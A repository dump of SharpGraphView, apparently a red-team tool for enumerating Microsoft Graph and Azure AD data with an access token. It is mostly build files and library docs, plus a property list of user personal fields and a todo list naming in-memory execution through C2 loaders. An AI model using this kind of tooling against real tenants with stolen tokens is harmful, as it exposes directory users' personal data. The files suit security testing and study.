AzureCloud 536 | ``` 537 | 538 | 539 |
540 | 541 | # Observations 542 | 543 | ## Common HTTP Error Codes 544 | 545 | Several HTTP error codes may be encountered when running certain methods: 546 | 547 | - `400` - Bad request, can occur when authenticated as a service principal and attempt to use methods which target `/me/<...>` endpoints 548 | - `401` - Unauthorised, commonly occurs when an access token expires, isn't formatted correctly, or hasn't been supplied 549 | - `403` - Access to the resource/endpoint is forbidden, likely due to insufficient perms or some form of conditional access 550 | - `429` - User has sent too many requests in a given amount of time and triggered tate limiting, hold off for a few minutes 551 | 552 |
553 | 554 | # Todo 555 | 556 | ## Addtional Authentication Methods 557 | 558 | Currently, only access token authentication is supported. The following authentication processes will be ported: 559 | 560 | ```powershell 561 | # client secret auth: 562 | $password = ConvertTo-SecureString 'app secret...' -AsPlainText -Force 563 | creds = New-Object System.Management.Automation.PSCredential('app id', $password) 564 | Connect-MgGraph -ClientSecretCredential $creds -TenantId <> 565 | ``` 566 | 567 | Additional auth methods from [Connect-MgGraph](https://learn.microsoft.com/en-us/powershell/module/microsoft.graph.authentication/connect-mggraph?view=graph-powershell-1.0) can be ported as necessary. 568 | 569 | ## Test 570 | 571 | - inlineExecute-Assembly 572 | - bofnet_executeassembly 573 | 574 | 575 | -------------------------------------------------------------------------------- /SharpGraphView.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.9.34607.119 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpGraphView", "SharpGraphView\SharpGraphView.csproj", "{825E2088-EC7C-4AB0-852A-4F1FEF178E37}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {825E2088-EC7C-4AB0-852A-4F1FEF178E37}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {825E2088-EC7C-4AB0-852A-4F1FEF178E37}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {825E2088-EC7C-4AB0-852A-4F1FEF178E37}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {825E2088-EC7C-4AB0-852A-4F1FEF178E37}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {173E7A61-1974-4097-AFD2-5588779BCA4F} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /SharpGraphView/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | -------------------------------------------------------------------------------- /SharpGraphView/Config.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Security.Cryptography.X509Certificates; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace SharpGraphView 9 | { 10 | class Config 11 | { 12 | public static string accessToken = ""; 13 | public static string searchString = ""; 14 | public static string id = ""; 15 | public static string select = ""; 16 | public static string entity = ""; 17 | public static string query = ""; 18 | public static string tenant = ""; 19 | public static string key = ""; 20 | public static string domain = ""; 21 | public static X509Certificate2 cert; 22 | 23 | public static string[] properties = { 24 | "aboutMe", 25 | "accountEnabled", 26 | "ageGroup", 27 | "assignedLicenses", 28 | "assignedPlans", 29 | "birthday", 30 | "businessPhones", 31 | "city", 32 | "companyName", 33 | "consentProvidedForMinor", 34 | "country", 35 | "createdDateTime", 36 | "department", 37 | "displayName", 38 | "employeeId", 39 | "faxNumber", 40 | "givenName", 41 | "hireDate", 42 | "id", 43 | "imAddresses", 44 | "interests", 45 | "isResourceAccount", 46 | "jobTitle", 47 | "lastPasswordChangeDateTime", 48 | "legalAgeGroupClassification", 49 | "licenseAssignmentStates", 50 | "mail", 51 | "mailboxSettings", 52 | "mailNickname", 53 | "mobilePhone", 54 | "mySite", 55 | "officeLocation", 56 | "onPremisesDistinguishedName", 57 | "onPremisesDomainName", 58 | "onPremisesImmutableId", 59 | "onPremisesLastSyncDateTime", 60 | "onPremisesSecurityIdentifier", 61 | "onPremisesSyncEnabled", 62 | "onPremisesSamAccountName", 63 | "onPremisesUserPrincipalName", 64 | "otherMails", 65 | "passwordPolicies", 66 | "passwordProfile", 67 | "pastProjects", 68 | "preferredDataLocation", 69 | "preferredLanguage", 70 | "preferredName", 71 | "proxyAddresses", 72 | "responsibilities", 73 | "schools", 74 | "showInAddressList", 75 | "skills", 76 | "state", 77 | "streetAddress", 78 | "surname", 79 | "usageLocation", 80 | "userPrincipalName", 81 | "userType", 82 | "webUrl" 83 | }; 84 | } 85 | } -------------------------------------------------------------------------------- /SharpGraphView/FodyWeavers.xml: -------------------------------------------------------------------------------- 1 |  2 | 3 | -------------------------------------------------------------------------------- /SharpGraphView/FodyWeavers.xsd: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks 13 | 14 | 15 | 16 | 17 | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. 18 | 19 | 20 | 21 | 22 | A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks 23 | 24 | 25 | 26 | 27 | A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. 28 | 29 | 30 | 31 | 32 | A list of unmanaged 32 bit assembly names to include, delimited with line breaks. 33 | 34 | 35 | 36 | 37 | A list of unmanaged 64 bit assembly names to include, delimited with line breaks. 38 | 39 | 40 | 41 | 42 | The order of preloaded assemblies, delimited with line breaks. 43 | 44 | 45 | 46 | 47 | 48 | This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. 49 | 50 | 51 | 52 | 53 | Controls if .pdbs for reference assemblies are also embedded. 54 | 55 | 56 | 57 | 58 | Controls if runtime assemblies are also embedded. 59 | 60 | 61 | 62 | 63 | Controls whether the runtime assemblies are embedded with their full path or only with their assembly name. 64 | 65 | 66 | 67 | 68 | Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. 69 | 70 | 71 | 72 | 73 | As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. 74 | 75 | 76 | 77 | 78 | Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. 79 | 80 | 81 | 82 | 83 | Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. 84 | 85 | 86 | 87 | 88 | A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | 89 | 90 | 91 | 92 | 93 | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. 94 | 95 | 96 | 97 | 98 | A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with | 99 | 100 | 101 | 102 | 103 | A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |. 104 | 105 | 106 | 107 | 108 | A list of unmanaged 32 bit assembly names to include, delimited with |. 109 | 110 | 111 | 112 | 113 | A list of unmanaged 64 bit assembly names to include, delimited with |. 114 | 115 | 116 | 117 | 118 | The order of preloaded assemblies, delimited with |. 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. 127 | 128 | 129 | 130 | 131 | A comma-separated list of error codes that can be safely ignored in assembly verification. 132 | 133 | 134 | 135 | 136 | 'false' to turn off automatic generation of the XML Schema file. 137 | 138 | 139 | 140 | 141 | -------------------------------------------------------------------------------- /SharpGraphView/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SharpGraphView")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SharpGraphView")] 13 | [assembly: AssemblyCopyright("Copyright © 2024")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("825e2088-ec7c-4ab0-852a-4f1fef178e37")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /SharpGraphView/SharpGraphView.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | Debug 7 | AnyCPU 8 | {825E2088-EC7C-4AB0-852A-4F1FEF178E37} 9 | Exe 10 | SharpGraphView 11 | SharpGraphView 12 | v4.7.2 13 | 512 14 | true 15 | true 16 | 17 | 18 | 19 | 20 | AnyCPU 21 | true 22 | full 23 | false 24 | bin\Debug\ 25 | DEBUG;TRACE 26 | prompt 27 | 4 28 | 29 | 30 | AnyCPU 31 | pdbonly 32 | true 33 | bin\Release\ 34 | TRACE 35 | prompt 36 | 4 37 | false 38 | true 39 | 40 | 41 | 42 | ..\packages\Costura.Fody.5.7.0\lib\netstandard1.0\Costura.dll 43 | 44 | 45 | ..\packages\Microsoft.Bcl.AsyncInterfaces.1.1.1\lib\net461\Microsoft.Bcl.AsyncInterfaces.dll 46 | 47 | 48 | ..\packages\Microsoft.Identity.Client.4.60.3\lib\net462\Microsoft.Identity.Client.dll 49 | 50 | 51 | ..\packages\Microsoft.Identity.Client.Extensions.Msal.4.60.3\lib\netstandard2.0\Microsoft.Identity.Client.Extensions.Msal.dll 52 | 53 | 54 | ..\packages\Microsoft.IdentityModel.Abstractions.7.5.1\lib\net472\Microsoft.IdentityModel.Abstractions.dll 55 | 56 | 57 | ..\packages\Microsoft.IdentityModel.JsonWebTokens.7.5.1\lib\net472\Microsoft.IdentityModel.JsonWebTokens.dll 58 | 59 | 60 | ..\packages\Microsoft.IdentityModel.Logging.7.5.1\lib\net472\Microsoft.IdentityModel.Logging.dll 61 | 62 | 63 | ..\packages\Microsoft.IdentityModel.Tokens.7.5.1\lib\net472\Microsoft.IdentityModel.Tokens.dll 64 | 65 | 66 | ..\packages\Microsoft.Rest.ClientRuntime.2.3.20\lib\net461\Microsoft.Rest.ClientRuntime.dll 67 | 68 | 69 | ..\packages\Microsoft.Rest.ClientRuntime.Azure.3.3.18\lib\net452\Microsoft.Rest.ClientRuntime.Azure.dll 70 | 71 | 72 | ..\packages\Microsoft.Win32.Primitives.4.3.0\lib\net46\Microsoft.Win32.Primitives.dll 73 | True 74 | True 75 | 76 | 77 | ..\packages\Newtonsoft.Json.13.0.3\lib\net45\Newtonsoft.Json.dll 78 | 79 | 80 | 81 | ..\packages\System.AppContext.4.3.0\lib\net463\System.AppContext.dll 82 | True 83 | True 84 | 85 | 86 | ..\packages\System.Buffers.4.5.1\lib\net461\System.Buffers.dll 87 | 88 | 89 | ..\packages\System.ClientModel.1.0.0\lib\netstandard2.0\System.ClientModel.dll 90 | 91 | 92 | 93 | ..\packages\System.Console.4.3.0\lib\net46\System.Console.dll 94 | True 95 | True 96 | 97 | 98 | 99 | ..\packages\System.Diagnostics.DiagnosticSource.6.0.1\lib\net461\System.Diagnostics.DiagnosticSource.dll 100 | 101 | 102 | ..\packages\System.Diagnostics.Tracing.4.3.0\lib\net462\System.Diagnostics.Tracing.dll 103 | True 104 | True 105 | 106 | 107 | 108 | ..\packages\System.Globalization.Calendars.4.3.0\lib\net46\System.Globalization.Calendars.dll 109 | True 110 | True 111 | 112 | 113 | 114 | ..\packages\System.IdentityModel.Tokens.Jwt.7.5.1\lib\net472\System.IdentityModel.Tokens.Jwt.dll 115 | 116 | 117 | ..\packages\System.IO.4.3.0\lib\net462\System.IO.dll 118 | True 119 | True 120 | 121 | 122 | ..\packages\System.IO.Compression.4.3.0\lib\net46\System.IO.Compression.dll 123 | True 124 | True 125 | 126 | 127 | 128 | ..\packages\System.IO.Compression.ZipFile.4.3.0\lib\net46\System.IO.Compression.ZipFile.dll 129 | True 130 | True 131 | 132 | 133 | ..\packages\System.IO.FileSystem.4.3.0\lib\net46\System.IO.FileSystem.dll 134 | True 135 | True 136 | 137 | 138 | ..\packages\System.IO.FileSystem.AccessControl.5.0.0\lib\net461\System.IO.FileSystem.AccessControl.dll 139 | 140 | 141 | ..\packages\System.IO.FileSystem.Primitives.4.3.0\lib\net46\System.IO.FileSystem.Primitives.dll 142 | True 143 | True 144 | 145 | 146 | ..\packages\System.Linq.4.3.0\lib\net463\System.Linq.dll 147 | True 148 | True 149 | 150 | 151 | ..\packages\System.Linq.Expressions.4.3.0\lib\net463\System.Linq.Expressions.dll 152 | True 153 | True 154 | 155 | 156 | False 157 | ..\..\..\..\..\..\Program Files (x86)\Reference Assemblies\Microsoft\WindowsPowerShell\3.0\System.Management.Automation.dll 158 | 159 | 160 | ..\packages\System.Memory.4.5.5\lib\net461\System.Memory.dll 161 | 162 | 163 | ..\packages\System.Memory.Data.1.0.2\lib\net461\System.Memory.Data.dll 164 | 165 | 166 | 167 | ..\packages\System.Net.Http.4.3.0\lib\net46\System.Net.Http.dll 168 | True 169 | True 170 | 171 | 172 | 173 | ..\packages\System.Net.Sockets.4.3.0\lib\net46\System.Net.Sockets.dll 174 | True 175 | True 176 | 177 | 178 | 179 | ..\packages\System.Numerics.Vectors.4.5.0\lib\net46\System.Numerics.Vectors.dll 180 | 181 | 182 | ..\packages\System.Reflection.4.3.0\lib\net462\System.Reflection.dll 183 | True 184 | True 185 | 186 | 187 | ..\packages\System.Runtime.4.3.0\lib\net462\System.Runtime.dll 188 | True 189 | True 190 | 191 | 192 | ..\packages\System.Runtime.CompilerServices.Unsafe.6.0.0\lib\net461\System.Runtime.CompilerServices.Unsafe.dll 193 | 194 | 195 | ..\packages\System.Runtime.Extensions.4.3.0\lib\net462\System.Runtime.Extensions.dll 196 | True 197 | True 198 | 199 | 200 | ..\packages\System.Runtime.InteropServices.4.3.0\lib\net463\System.Runtime.InteropServices.dll 201 | True 202 | True 203 | 204 | 205 | ..\packages\System.Runtime.InteropServices.RuntimeInformation.4.3.0\lib\net45\System.Runtime.InteropServices.RuntimeInformation.dll 206 | True 207 | True 208 | 209 | 210 | 211 | 212 | ..\packages\System.Security.AccessControl.5.0.0\lib\net461\System.Security.AccessControl.dll 213 | 214 | 215 | ..\packages\System.Security.Cryptography.Algorithms.4.3.0\lib\net463\System.Security.Cryptography.Algorithms.dll 216 | True 217 | True 218 | 219 | 220 | ..\packages\System.Security.Cryptography.Encoding.4.3.0\lib\net46\System.Security.Cryptography.Encoding.dll 221 | True 222 | True 223 | 224 | 225 | ..\packages\System.Security.Cryptography.Primitives.4.3.0\lib\net46\System.Security.Cryptography.Primitives.dll 226 | True 227 | True 228 | 229 | 230 | ..\packages\System.Security.Cryptography.ProtectedData.4.7.0\lib\net461\System.Security.Cryptography.ProtectedData.dll 231 | 232 | 233 | ..\packages\System.Security.Cryptography.X509Certificates.4.3.0\lib\net461\System.Security.Cryptography.X509Certificates.dll 234 | True 235 | True 236 | 237 | 238 | ..\packages\System.Security.Principal.Windows.5.0.0\lib\net461\System.Security.Principal.Windows.dll 239 | 240 | 241 | ..\packages\System.Text.Encodings.Web.4.7.2\lib\net461\System.Text.Encodings.Web.dll 242 | 243 | 244 | ..\packages\System.Text.Json.4.7.2\lib\net461\System.Text.Json.dll 245 | 246 | 247 | ..\packages\System.Text.RegularExpressions.4.3.0\lib\net463\System.Text.RegularExpressions.dll 248 | True 249 | True 250 | 251 | 252 | ..\packages\System.Threading.Tasks.Extensions.4.5.4\lib\net461\System.Threading.Tasks.Extensions.dll 253 | 254 | 255 | ..\packages\System.ValueTuple.4.5.0\lib\net47\System.ValueTuple.dll 256 | 257 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | ..\packages\System.Xml.ReaderWriter.4.3.0\lib\net46\System.Xml.ReaderWriter.dll 265 | True 266 | True 267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | 276 | 277 | 278 | 279 | 280 | 281 | 282 | This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. 283 | 284 | 285 | 286 | 287 | 288 | 289 | -------------------------------------------------------------------------------- /SharpGraphView/bin/Release/Microsoft.Bcl.AsyncInterfaces.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Microsoft.Bcl.AsyncInterfaces 5 | 6 | 7 | 8 | Provides the core logic for implementing a manual-reset or . 9 | 10 | 11 | 12 | 13 | The callback to invoke when the operation completes if was called before the operation completed, 14 | or if the operation completed before a callback was supplied, 15 | or null if a callback hasn't yet been provided and the operation hasn't yet completed. 16 | 17 | 18 | 19 | State to pass to . 20 | 21 | 22 | to flow to the callback, or null if no flowing is required. 23 | 24 | 25 | 26 | A "captured" or with which to invoke the callback, 27 | or null if no special context is required. 28 | 29 | 30 | 31 | Whether the current operation has completed. 32 | 33 | 34 | The result with which the operation succeeded, or the default value if it hasn't yet completed or failed. 35 | 36 | 37 | The exception with which the operation failed, or null if it hasn't yet completed or completed successfully. 38 | 39 | 40 | The current version of this value, used to help prevent misuse. 41 | 42 | 43 | Gets or sets whether to force continuations to run asynchronously. 44 | Continuations may run asynchronously if this is false, but they'll never run synchronously if this is true. 45 | 46 | 47 | Resets to prepare for the next operation. 48 | 49 | 50 | Completes with a successful result. 51 | The result. 52 | 53 | 54 | Complets with an error. 55 | 56 | 57 | 58 | Gets the operation version. 59 | 60 | 61 | Gets the status of the operation. 62 | Opaque value that was provided to the 's constructor. 63 | 64 | 65 | Gets the result of the operation. 66 | Opaque value that was provided to the 's constructor. 67 | 68 | 69 | Schedules the continuation action for this operation. 70 | The continuation to invoke when the operation has completed. 71 | The state object to pass to when it's invoked. 72 | Opaque value that was provided to the 's constructor. 73 | The flags describing the behavior of the continuation. 74 | 75 | 76 | Ensures that the specified token matches the current version. 77 | The token supplied by . 78 | 79 | 80 | Signals that the operation has completed. Invoked after the result or error has been set. 81 | 82 | 83 | 84 | Invokes the continuation with the appropriate captured context / scheduler. 85 | This assumes that if is not null we're already 86 | running within that . 87 | 88 | 89 | 90 | Provides a set of static methods for configuring -related behaviors on asynchronous enumerables and disposables. 91 | 92 | 93 | Configures how awaits on the tasks returned from an async disposable will be performed. 94 | The source async disposable. 95 | Whether to capture and marshal back to the current context. 96 | The configured async disposable. 97 | 98 | 99 | Configures how awaits on the tasks returned from an async iteration will be performed. 100 | The type of the objects being iterated. 101 | The source enumerable being iterated. 102 | Whether to capture and marshal back to the current context. 103 | The configured enumerable. 104 | 105 | 106 | Sets the to be passed to when iterating. 107 | The type of the objects being iterated. 108 | The source enumerable being iterated. 109 | The to use. 110 | The configured enumerable. 111 | 112 | 113 | Represents a builder for asynchronous iterators. 114 | 115 | 116 | Creates an instance of the struct. 117 | The initialized instance. 118 | 119 | 120 | Invokes on the state machine while guarding the . 121 | The type of the state machine. 122 | The state machine instance, passed by reference. 123 | 124 | 125 | Schedules the state machine to proceed to the next action when the specified awaiter completes. 126 | The type of the awaiter. 127 | The type of the state machine. 128 | The awaiter. 129 | The state machine. 130 | 131 | 132 | Schedules the state machine to proceed to the next action when the specified awaiter completes. 133 | The type of the awaiter. 134 | The type of the state machine. 135 | The awaiter. 136 | The state machine. 137 | 138 | 139 | Marks iteration as being completed, whether successfully or otherwise. 140 | 141 | 142 | Gets an object that may be used to uniquely identify this builder to the debugger. 143 | 144 | 145 | Indicates whether a method is an asynchronous iterator. 146 | 147 | 148 | Initializes a new instance of the class. 149 | The type object for the underlying state machine type that's used to implement a state machine method. 150 | 151 | 152 | Provides a type that can be used to configure how awaits on an are performed. 153 | 154 | 155 | Provides an awaitable async enumerable that enables cancelable iteration and configured awaits. 156 | 157 | 158 | Configures how awaits on the tasks returned from an async iteration will be performed. 159 | Whether to capture and marshal back to the current context. 160 | The configured enumerable. 161 | This will replace any previous value set by for this iteration. 162 | 163 | 164 | Sets the to be passed to when iterating. 165 | The to use. 166 | The configured enumerable. 167 | This will replace any previous set by for this iteration. 168 | 169 | 170 | Provides an awaitable async enumerator that enables cancelable iteration and configured awaits. 171 | 172 | 173 | Advances the enumerator asynchronously to the next element of the collection. 174 | 175 | A that will complete with a result of true 176 | if the enumerator was successfully advanced to the next element, or false if the enumerator has 177 | passed the end of the collection. 178 | 179 | 180 | 181 | Gets the element in the collection at the current position of the enumerator. 182 | 183 | 184 | 185 | Performs application-defined tasks associated with freeing, releasing, or 186 | resetting unmanaged resources asynchronously. 187 | 188 | 189 | 190 | Exposes an enumerator that provides asynchronous iteration over values of a specified type. 191 | The type of values to enumerate. 192 | 193 | 194 | Returns an enumerator that iterates asynchronously through the collection. 195 | A that may be used to cancel the asynchronous iteration. 196 | An enumerator that can be used to iterate asynchronously through the collection. 197 | 198 | 199 | Supports a simple asynchronous iteration over a generic collection. 200 | The type of objects to enumerate. 201 | 202 | 203 | Advances the enumerator asynchronously to the next element of the collection. 204 | 205 | A that will complete with a result of true if the enumerator 206 | was successfully advanced to the next element, or false if the enumerator has passed the end 207 | of the collection. 208 | 209 | 210 | 211 | Gets the element in the collection at the current position of the enumerator. 212 | 213 | 214 | Provides a mechanism for releasing unmanaged resources asynchronously. 215 | 216 | 217 | 218 | Performs application-defined tasks associated with freeing, releasing, or 219 | resetting unmanaged resources asynchronously. 220 | 221 | 222 | 223 | 224 | -------------------------------------------------------------------------------- /SharpGraphView/bin/Release/Microsoft.IdentityModel.Abstractions.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Microsoft.IdentityModel.Abstractions 5 | 6 | 7 | 8 | 9 | Defines Event Log Levels. 10 | 11 | 12 | 13 | 14 | No level filtering is done on this log level. Log messages of all levels will be logged. 15 | 16 | 17 | 18 | 19 | Logs that describe an unrecoverable application or system crash, or a catastrophic failure that requires 20 | immediate attention. 21 | 22 | 23 | 24 | 25 | Logs that highlight when the current flow of execution is stopped due to a failure. These should indicate a 26 | failure in the current activity, not an application-wide failure. 27 | 28 | 29 | 30 | 31 | Logs that highlight an abnormal or unexpected event in the application flow, but do not otherwise cause the 32 | application execution to stop. 33 | 34 | 35 | 36 | 37 | Logs that track the general flow of the application. These logs should have long-term value. 38 | 39 | 40 | 41 | 42 | Logs that are used for interactive investigation during development. These logs should primarily contain 43 | information useful for debugging and have no long-term value. 44 | 45 | 46 | 47 | 48 | Interface that needs to be implemented by classes providing logging in Microsoft identity libraries. 49 | 50 | 51 | 52 | 53 | Checks to see if logging is enabled at given . 54 | 55 | Log level of a message. 56 | 57 | 58 | 59 | Writes a log entry. 60 | 61 | Defines a structured message to be logged at the provided . 62 | 63 | 64 | 65 | Interface for Telemetry tracking. 66 | 67 | 68 | 69 | 70 | Gets or sets the application or client ID that telemetry is being sent for. 71 | 72 | 73 | 74 | 75 | Perform any necessary bootstrapping for the telemetry client. 76 | 77 | 78 | The expectation is that this should only be called once for the lifetime of the object however the 79 | implementation should be idempotent. 80 | 81 | 82 | 83 | 84 | Checks to see if telemetry is enabled all up. 85 | 86 | 87 | Returns if telemetry should be sent; otherwise. 88 | 89 | 90 | This check should be used to gate any resource intensive operations to generate telemetry as well. 91 | 92 | 93 | 94 | 95 | Checks to see if telemetry is enabled for the named event. 96 | 97 | Name of the event to check. 98 | 99 | Returns if telemetry should be sent for ; 100 | otherwise. 101 | 102 | 103 | This check should be used to gate any resource intensive operations to generate telemetry as well. 104 | 105 | 106 | 107 | 108 | Tracks an instance of a named event. 109 | 110 | Details of the event to track. 111 | 112 | 113 | 114 | Tracks an instance of a named event. 115 | 116 | Name of the event to track. Should be unique per scenario. 117 | Key value pair of strings to long with the event. 118 | Key value pair of longs to long with the event. 119 | Key value pair of bools to long with the event. 120 | Key value pair of DateTimes to long with the event. 121 | Key value pair of doubles to long with the event. 122 | Key value pair of Guids to long with the event. 123 | 124 | 125 | 126 | Defines the structure of a log entry. 127 | 128 | 129 | 130 | 131 | Defines the . 132 | 133 | 134 | 135 | 136 | Message to be logged. 137 | 138 | 139 | 140 | 141 | A unique identifier for a request that can help with diagnostics across components. 142 | 143 | 144 | Also referred to as ActivityId in Microsoft.IdentityModel.Tokens.CallContext. 145 | 146 | 147 | 148 | 149 | A minimalistic implementation that is disabled by default and doesn't log. 150 | 151 | 152 | 153 | 154 | Default instance of . 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | The default implementation of the interface which swallows all telemetry signals. 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | Singleton instance of . 174 | 175 | 176 | 177 | 178 | Initializes an instance of . 179 | 180 | 181 | Private constructor to prevent the default constructor being exposed. 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | Common class containing observability constants to be used as well known metric keys. 202 | 203 | 204 | 205 | 206 | String used for the name of the property indicating if the call was successful. 207 | 208 | 209 | 210 | 211 | String used for the name of the property indicating the call in Duration (ms). 212 | 213 | 214 | 215 | 216 | String used for the name of the property indicating the call's Activity Id/Correlation Id. 217 | 218 | 219 | 220 | 221 | String used for the name of the property indicating the caller's ClientId. 222 | 223 | 224 | 225 | 226 | Details of the telemetry event. 227 | 228 | 229 | This implementation is not meant to be thread-safe. This implementation would either need to be overridden or 230 | usage should not be concurrently operated on. 231 | 232 | 233 | 234 | 235 | The underlying properties making up the . 236 | 237 | 238 | 239 | 240 | Name of the telemetry event, should be unique between events. 241 | 242 | 243 | 244 | 245 | Properties which describe the event. 246 | 247 | 248 | 249 | 250 | Sets a property on the event details. 251 | 252 | Property key. 253 | Property value. 254 | 'key' is null. 255 | 256 | 257 | 258 | Sets a property on the event details. 259 | 260 | Property key. 261 | Property value. 262 | 'key' is null. 263 | 264 | 265 | 266 | Sets a property on the event details. 267 | 268 | Property key. 269 | Property value. 270 | 'key' is null. 271 | 272 | 273 | 274 | Sets a property on the event details. 275 | 276 | Property key. 277 | Property value. 278 | 'key' is null. 279 | 280 | 281 | 282 | Sets a property on the event details. 283 | 284 | Property key. 285 | Property value. 286 | 'key' is null. 287 | 288 | 289 | 290 | Sets a property on the event details. 291 | 292 | Property key. 293 | Property value. 294 | 'key' is null. 295 | 296 | 297 | 298 | -------------------------------------------------------------------------------- /SharpGraphView/bin/Release/SharpGraphView.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/bin/Release/SharpGraphView.exe -------------------------------------------------------------------------------- /SharpGraphView/bin/Release/SharpGraphView.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | -------------------------------------------------------------------------------- /SharpGraphView/bin/Release/SharpGraphView.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/bin/Release/SharpGraphView.pdb -------------------------------------------------------------------------------- /SharpGraphView/bin/Release/System.Buffers.xml: -------------------------------------------------------------------------------- 1 |  2 | 3 | System.Buffers 4 | 5 | 6 | 7 | Provides a resource pool that enables reusing instances of type . 8 | The type of the objects that are in the resource pool. 9 | 10 | 11 | Initializes a new instance of the class. 12 | 13 | 14 | Creates a new instance of the class. 15 | A new instance of the class. 16 | 17 | 18 | Creates a new instance of the class using the specifed configuration. 19 | The maximum length of an array instance that may be stored in the pool. 20 | The maximum number of array instances that may be stored in each bucket in the pool. The pool groups arrays of similar lengths into buckets for faster access. 21 | A new instance of the class with the specified configuration. 22 | 23 | 24 | Retrieves a buffer that is at least the requested length. 25 | The minimum length of the array. 26 | An array of type that is at least minimumLength in length. 27 | 28 | 29 | Returns an array to the pool that was previously obtained using the method on the same instance. 30 | A buffer to return to the pool that was previously obtained using the method. 31 | Indicates whether the contents of the buffer should be cleared before reuse. If clearArray is set to true, and if the pool will store the buffer to enable subsequent reuse, the method will clear the array of its contents so that a subsequent caller using the method will not see the content of the previous caller. If clearArray is set to false or if the pool will release the buffer, the array&#39;s contents are left unchanged. 